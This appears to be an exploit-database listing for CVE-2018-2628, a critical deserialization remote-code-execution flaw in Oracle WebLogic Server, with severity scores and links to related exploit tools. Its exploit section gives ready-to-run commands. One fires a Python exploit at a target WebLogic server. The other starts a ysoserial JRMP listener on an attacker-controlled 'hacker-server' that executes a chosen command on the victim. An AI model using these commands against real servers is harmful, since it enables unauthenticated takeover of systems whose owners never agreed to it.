Exploit for weblogic

CVE-2018-2628 CVE-2018-2628

kitploit · 2026-08-25

Description

Deserialization RCE in WebLogic via ysoserial JRMPClient gadget (CVE-2018-2628).

Affected Oracle Weblogic Server versions

Oracle Weblogic Server= 10.3.6.0.0, 12.1.3.0.0, 12.2.1.2.0, 12.2.1.3

All known vulnerabilities by product

Oracle Weblogic Server

CVSS 9.8 for CVE-2018-2628

9.8

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

Exploit Details

Modified:2026-08-25 12:56

Last Seen:2026-08-25 23:32

Reporter:KitPloit

Tags

WebLogicdeserializationJRMPClientremote code executionCVE-2018-2628

Other exploits for CVE-2018-2628

CVE-2018-2628-MultiThreading

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

weblogic-cve-2018-2628

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

ysoserial-cve-2018-2628

2026-08-28 KitPloitKITPLOIT

CVE-2018-2628-detect

2026-08-28 KitPloitKITPLOIT

Exploit Code

MARKDOWN12 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CSCADOGE-WEBLOGIC-CVE-2018-2628
# weblogic-cve-2018-2628

weblogic-cve-2018-2628-exp

python2 weblogic-cve-2018-2628-exp.py [targetip targetport] ysoserial-0.1-cve-2018-2628-all.jar [bindip bindport] JRMPClient

python weblogic-cve-2018-2628-exp.py [weblogic-server] 7001 ysoserial-0.1-cve-2018-2628-all.jar [hacker-server] 2333 JRMPClient

java -cp [toolname] ysoserial.exploit.JRMPListener [bindport] [jdkversion] [command]

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 2333 Jdk7u21 "calc.exe"